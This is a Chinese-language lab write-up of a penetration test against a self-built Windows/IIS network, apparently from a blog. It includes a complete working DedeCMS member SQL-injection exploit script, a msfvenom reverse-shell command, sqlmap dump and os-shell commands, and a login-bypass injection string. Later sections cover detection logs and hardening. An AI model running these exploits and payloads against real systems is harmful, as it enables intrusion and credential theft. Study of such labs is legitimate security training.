网络安全渗透测试实验

网络安全渗透测试实验

一、环境搭建

网络拓扑图

image-20211219110645078

  • Web服务器一:
    • 10.10.10.129
    • 192.168.126.128
  • 数据库服务器:
    • 10.10.10.136
    • 10.10.1.134
  • Kali攻击机:
    • 192.168.129.129

1、Web服务器一:

①基本信息

  • 操作系统:Windows Server 2008 R2
  • 网站管理:护卫神主机大师
  • webserver:IIS
  • 服务器安全狗
    • image-20211219183528360

②提供DNS服务

image-20211213222217334

image-20211213222227452

③开启了3个web站点

image-20211219110104150

④设置kali攻击机的DNS服务器,模拟真实渗透测试环境。

kali的dns服务器地址也要设置为192.168.126.128

image-20211213221944282

image-20211213222048281

确保可以ping通

image-20211213222147955

2、数据库服务器:

①基本信息

  • 操作系统:Windows Server 2008 r2
  • 数据库软件:Microsoft SQL Server
  • image-20211219110819324

二、信息收集

1、Kali攻击机对同一网段主机发现

①kali的IP地址

image-20211213205636415

  • 可知kali所在的网段为:192.168.126.0

②使用Nmap对同一网段进行主机发现扫描

image-20211213205755501

③扫描结果

同一网段下存在另外一台主机为192.168.126.128

2、使用Nmap对目标主机进行端口扫描

①nmap 目标主机Ip

image-20211213210159838

扫描结果可知开放了上述端口。

②使用nmap查看目标端口的详细信息

image-20211213210604842

扫描结果:

image-20211213211430912

nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49122 192.168.126.128 -oA targer1-port
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 08:04 EST
Nmap scan report for 192.168.126.128
Host is up (0.00053s latency).

PORT      STATE  SERVICE            VERSION
21/tcp    open   ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open   domain             Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp    open   http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp   open   msrpc              Microsoft Windows RPC
999/tcp   open   http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Microsoft-IIS/7.5
|_http-title: phpMyAdmin
3389/tcp  open   ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-KALKEMT3JMA
| Not valid before: 2021-12-12T08:10:45
|_Not valid after:  2022-06-13T08:10:45
|_ssl-date: 2021-12-13T13:05:41+00:00; 0s from scanner time.
6588/tcp  open   http               Microsoft IIS httpd 7.5
| http-cookie-flags: 
|   /: 
|     ASPSESSIONIDCQSQCSAB: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49122/tcp closed unknown
49154/tcp open   msrpc              Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

Host script results:
|_nbstat: NetBIOS name: WIN-KALKEMT3JMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:47:0d:dc (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.60 seconds

  • 结果可以看到各个端口的详细信息,版本信息等等。

3、通过浏览器访问具体的端口应用

①80-http端口---IIS7 WebServer

image-20211213211216888

②999-http端口 phpmyadmin

image-20211213211240129

③6588-http端口 逐级大师---登录面板

image-20211213211305048

4、通过wfuzz进行子域名收集

①命令

通过kali自带的字典进行爆破

image-20211213222451678

②结果

image-20211213222704642

子域名:

http://www.cc123.com
http://ww2.cc123.com
http://new.cc123.com

③依次验证子域名

www.cc123.com

image-20211213223851071

ww2.cc123.com

image-20211213223915832

new.cc123.com

image-20211213223940190

三、Web服务器一渗透测试

1、new.cc123.com渗透测试

在信息收集中,子域名发现了这个子域名,我们访问进去之后,发现是个cms,logo还是织梦,那么必然是大名鼎鼎漏洞百出的dedecms了。

①查看dedecms版本信息

image-20211213224218403

②百度,看有无历史版本漏洞

image-20211213224353563

百度一搜,出现很多这个版本的漏洞。

③测试dedecms默认后台目录dede,和会员登录目录member

image-20211213224452957

可以访问,说明管理员没有修改后台路径。

image-20211213225432445

说明会员中心路径也没有修改,根据网上的帖子,这个版本是存在会员中心注入漏洞的。我们先随便注册一个会员用户

image-20211213225554162

注册成功

image-20211213225645928

④利用用网上公开的exp进行攻击

需要放在同一个目录之下

image-20211213225901799

cookie信息

image-20211213230441457

刷新页面找到cookie

PHPSESSID=fo6no56q6puprgch48q8jc3956; DedeUserID=5; DedeUserID__ckMd5=af34931e1d9c8fe4; DedeLoginTime=1639408657; DedeLoginTime__ckMd5=671d6a9517cf59f8
exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()

def getCookes():
    line = open('cookies.txt','r')
    c = line.readline()
    line.close()
    return c

cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

def exploite(target):
    password = ""
    for i in range(1,21):
        for p in payloads:
            s1 = "%s" %(i)
            s2 = "%s" %(ord(p))
            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
            start_time = time.time()
            try:
                req = urllib2.Request(s)
                req_data=opener.open(req,timeout=10)
                now = time.strftime('%H:%M:%S',time.localtime(time.time()))
                if time.time() - start_time > 4.0:
                    password = password+p
                    print "["+str(now)+"]: "+s1+" -> "+password
            except urllib2.URLError,e:
                print e;
    return password






def myhelp():
    print "\n+------------------------------+"
    print "|  Dedecms 20150618 member sqli|"
    print "|  mOon  www.moonsec.com       |"
    print "|  MTEAM:moon@moonsec.com      |"
    print "+------------------------------+\n"

def main():
    if len(sys.argv)< 2:
        myhelp()
        sys.exit()
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
    print "password is %s" % (exploite(sys.argv[1]))

if __name__ == '__main__':
    main()
运行exp

image-20211213232155496

注意:

在运行exp之前,需要在系统设置,添加一个分类。

image-20211213232234890

运行exp结果

image-20211213232424611

得到了管理员账户的密文密码:

812df726be884ddcfc41

在线md5解密

https://www.somd5.com/

image-20211213233724549

管理员密码:admin7788

⑤使用管理员密码登录后台管理界面

image-20211213234002560

通过文件管理器上传一句话木马

image-20211213234202074

image-20211213234411316

上传webshell

image-20211213234456652

通过蚁剑连接WebShell

image-20211213234649508

管理web网站的目录

image-20211213235046740

目前为止的结果

截止目前,我们获取了网站的shell,也就是webshell,但是我么只可以对网站进行一些操作,可以获取到的文件也较少。我们无法控制这台主机。如果想要获取注解的权限,还需要继续提权。

2、提权

①web目录信息——可执行aspx文件

在我们获取到Webshell查看目录的时候,发现有一个文件夹是aspnet_client,说明网站支持asp的脚本。asp的权限功能要比php强大一些。

image-20211213235429688

那么我们下一步上传一个asp马。

②上传asp马

image-20211213235639817

由于asp马过大,会在附件中给出。

③通过浏览器访问asp大马执行命令

image-20211213235927831

输入admin密码,登录webshell。

image-20211214000016909

可以执行cmd命令

image-20211214000204879

既然可以执行cmd命令,那接下来的思路我们就可以在metasploit中生成一个shell,上传到受害主机上面,从而进行下一步操作。

④MetaSploit生成shell

反弹到本机

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.129 lport=12345 -f exe >s.exe

image-20211214000827156

image-20211214000846485

⑤上传shell到web服务器

image-20211214001143460

发现此目录不可写

image-20211214001210753

上传一个检测可写目录的脚本文件wt.asp

image-20211214001300207

浏览器访问此脚本文件

image-20211214001410002

发现目录可写

c:\windows\debug\WIA\

将shell程序上传到这个目录

image-20211214001521955

木马程序上传成功。

⑥msf监听反弹shell的端口

msfconsole

image-20211214001633137

选择exploit/multi/handler模块

image-20211214001721624

设置反弹监听的payload并执行

image-20211214001936909

发现端口没弄对,重新设置一下,记得加l

image-20211214002102893

⑦通过aspx大马,执行cmd命令,运行木马程序

image-20211214002252752

运行之后,查看kali之中的会话session

image-20211214002331835

发现已经连接上了目标服务器,查看一下ip地址:

image-20211214002409880

详细信息:

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:47:0d:dc
MTU          : 1500
IPv4 Address : 192.168.126.128
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8c46:83d6:93f0:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:7e80
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 13
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:47:0d:e6
MTU          : 1500
IPv4 Address : 10.10.10.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::90a:300d:f93e:7c89
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a0a:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5efe:a9fe:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

查看一下当前的权限

image-20211214002525445

⑧尝试提权

查找是否存在提权可以利用的点
background
use post/multi/recon/local_exploit_suggester

image-20211214002826500

由于msf6在扫描的时候可能出了一些Bug,没有出来结果,通过另外一台老版本的kali,上面有msf5,重新上传木马,扫描一下,发现有以下漏洞可以利用。

可以查找到如下结果:

image-20211214093116157

尝试利用ms16_075_reflection_juicy进行提权

image-20211214094710904

设置对应的端口和会话session

image-20211214094759256

获得系统权限

image-20211214094816801

获取到flag

image-20211214095908013

注意,aspx大马查看HwsHostMaster目录的时候没有权限,所以只能提权到系统权限之后访问。

image-20211214095946730

3、ww2.cc123.com渗透测试

①目录扫描

访问网站,f12看一下响应头,发现是.net的后端。

image-20211214100439553

这个网站全是伪静态页面,没有什么可测试的功能点。

使用目录扫描工具扫描一下网站目录,这里就随便找了一个御剑。

image-20211214102523807

访问一下,有个后台的登录地址。

image-20211214102820469

②测试是否存在弱口令或者SQL注入漏洞

弱口令测试了admin,admin,123456,111111等,没试出来,放弃了,测一下SQL注入漏洞。

输入admin' 123456

image-20211214110438548

结果为

image-20211214110450767

点击确定之后,又跳转到了登录页面,并且验证码也没有改变.

试着后面加注释,注释掉密码

image-20211214110540566

结果成功登进来了后台

image-20211214110619766

猜测其后台登录验证的SQL语句

select * from users username = 'admin'--' and  password = '123456';

③寻找是否存在单点漏洞(注入漏洞)

打开burpsuite,看一下后台的功能点,是否存在有?id等url的功能点,这样可以测试sql注入漏洞。

image-20211214111739027

发现在新闻咨询这里,点进去资讯列表中的某一个咨询之后,会以get方式提交?id字段,可能存在注入。

image-20211214111913209

将此数据包的请求复制下来,放到sqlmap里跑一下,看看是否存在sql注入漏洞。

GET /admin/newsadd.aspx?id=537&pid=27 HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://ww2.cc123.com/admin/newslist.aspx?pid=27
Cookie: ASP.NET_SessionId=2i0ppqscy1sa4jw3ug4lhq1v; CheckCode=0LF0; The Cool Site=lao=1
Upgrade-Insecure-Requests: 1

④kali中sqlmap测试

image-20211214112314058

sqlmap测试

这里猜测,asp.net后端连接的数据库是mssql(microsoft sql server)

sqlmap -r sql.txt --dbms mssql -v 1 --batch

image-20211214112757918

image-20211214113046425

可知这里id字段存在注入。

爆库
sqlmap -r sql.txt --dbms mssql -v 1 --batch --dbs

image-20211214113224055

查看当前的db和user
sqlmap -r sql.txt --dbms mssql -v 1 --batch --current-db --current-user

image-20211214113341480

爆表
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data --tables

image-20211214114739688

查看admin表中的所有数据
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump

image-20211214115008648

查看是否可以获取系统权限
sqlmap -r sql.txt --dbms mssql -v 1 --batch --os-shell

image-20211214113513341

⑤通过系统shell执行命令

ipconfig

image-20211214113613572

分析

我们在信息收集的时候,是从192.168.126.128进入到了web服务器,获取到了系统权限之后,ipconfig

image-20211214113920643

可以得知,这台服务器还有一个网卡,ip地址是10.10.10.129,而此时我们获得的数据库的os-shell,看到的IP地址是10.10.1.128,与10.10.10.129不在同一个网段,说明了这是一个数据库服务器,整个网站的架构是站库分离的。这样可以使得数据库更加安全。

四、网络靶场攻击检测

1、部署了服务器安全狗

image-20211219183632247

  • 具有配置网络防火墙杀毒,检测后门脚本和程序,并告警的功能。

2、攻击行为告警

①文件上传漏洞shell.php检测

在web服务器渗透测试的时候,上传了php木马,然后安全狗迅速告警,给管理员的邮箱发送了告警邮件。

image-20211219183732580

②安全狗日志记录___反弹shell程序分析

image-20211219183843423

可以看到,在日志记录当中,存在有我们用来反弹shell所上传的s.exe后门木马程序,这里的提示是TCP连接,远程连接到攻击机192.168.128.129(kali)的12345端口,所以通过审查日志也可以判断出是否存在后门程序。

③安全狗日志记录___扫描与webshell程序分析

image-20211219184209081

可以看到,通过扫描端口的攻击和webshell的恶意脚本文件也被检测了出来。

3、可视化的安全管理一站式系统

①基础界面

image-20211219184353840

web服务器管理员在服务器安装安全狗之后,无需频繁的到服务器去审查,在可视化的安全管理系统当中,即可看到当前服务器的安全状态。

②威胁分析模块

image-20211219184500006

攻击Dedecms的过程

image-20211219184536296

通过这个模块可以直观的看到攻击的流程,随后即可对服务器进行安全加固。

4、安全加固---网站安全狗

之前我们配置了服务器安全狗,更多的是针对与主机整体的安全。我们还可以安装网站安全狗,加固我们网站的安全。

image-20211219184950437

网站安全狗具有以下功能

image-20211219185025136

通过防范一句话后门可以抵御黑客的攻击,但是黑客也可以通过一些手段进行绕过。

在真实的红蓝对抗环境中,还是需要不断的去加固我们的服务器和网站,通过各种方法来达到信息系统的安全目标!

五、渗透测试过程中所用的到漏洞介绍

1、DedeCMS注入漏洞

dedecms20150618的漏洞分析

①名词解释

  • php gpc

    magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

    在magic_quotes_gpc=On的情况下,如果输入的数据有

    单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

②漏洞成因概述

  • 由于 dedecms 使用伪全局变量原因,可导致用户构造任意的 sql 语句,造成注入。

    漏洞利用流程:

    • 利用_FILE 传递数组
    • 绕过 dedecms 的 sql 注入检测机制
    • 进行注入

③漏洞细节

  • 完整的注入语句

    http://192.168.110.135//dedefull/uploads/member/mtypes.php?
    dopost=save&
    _FILES[mtypename][name]=.xxxx&
    _FILES[mtypename][type]=xxxxx&
    _FILES[mtypename][tmp_name][1' and &#39;.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1&
    _FILES[mtypename][size]=.xxxx
    

    关键理解的点:

    • 为什么用_FILE 传数组
    • 为什么注入语句写在 tmp_name 后
    • 为什么注入语句中有.``.mtypeid
    • 如何绕过 dede 的防注入
  • 变量的传递过程

    • mtypes.php 文件是一个缺陷文件,只要通过把 $mtypename 构造成数组,并且在把数组的 key 定义为 sql 注入语句,那么便可逃逸全局 GPC。
    foreach ($mtypename as $id => $name)
    {
        $name = HtmlReplace($name);
        $query = "UPDATE #@__mtypes SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
        $dsql->ExecuteNoneQuery($query);
    }
    

    该文件的最后部分为缺陷部分,$id 和 $name 都在查询语句中,但是全局过滤未对数组的key进行过滤,导致 $id 内可以带任何字符,所以我们在$id中构造语句。

    由于 dedecms 是一个伪全局的 cms,我们需要把 $mtypename 覆盖出来,那么为什么用_FILE 传输组呢,整个 cms 在变量初始化的过程中,在 uploadsafe.inc.php 中,会预处理_FILE 传入的值,但是这段代码有问题。

    foreach($FILES as $_key=>$_value)
    {
        foreach($keyarr as $k)
        {
            if(!isset($_FILES[$_key][$k]))
            {
                exit('Request Error!');
            }
        }
    if( preg_match('#^(cfg|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    

    可以在倒数第四行看到一处变量覆盖,取 $_key 作为 key,$_FILES[$_key][‘tmp_name’] 作为 value。

image-20211219185405601

image-20211219185410409

2、ms016-075漏洞(CVE漏洞编号:CVE-2016-3225)

  • ms16-075漏洞简介4
    • Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
  • 名词解释
    • msf6
      • 在渗透过程中,msf漏洞利用神器是不可或缺的。它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
posted @ 2021-12-20 19:17  DarkerG  阅读(926)  评论(0编辑  收藏  举报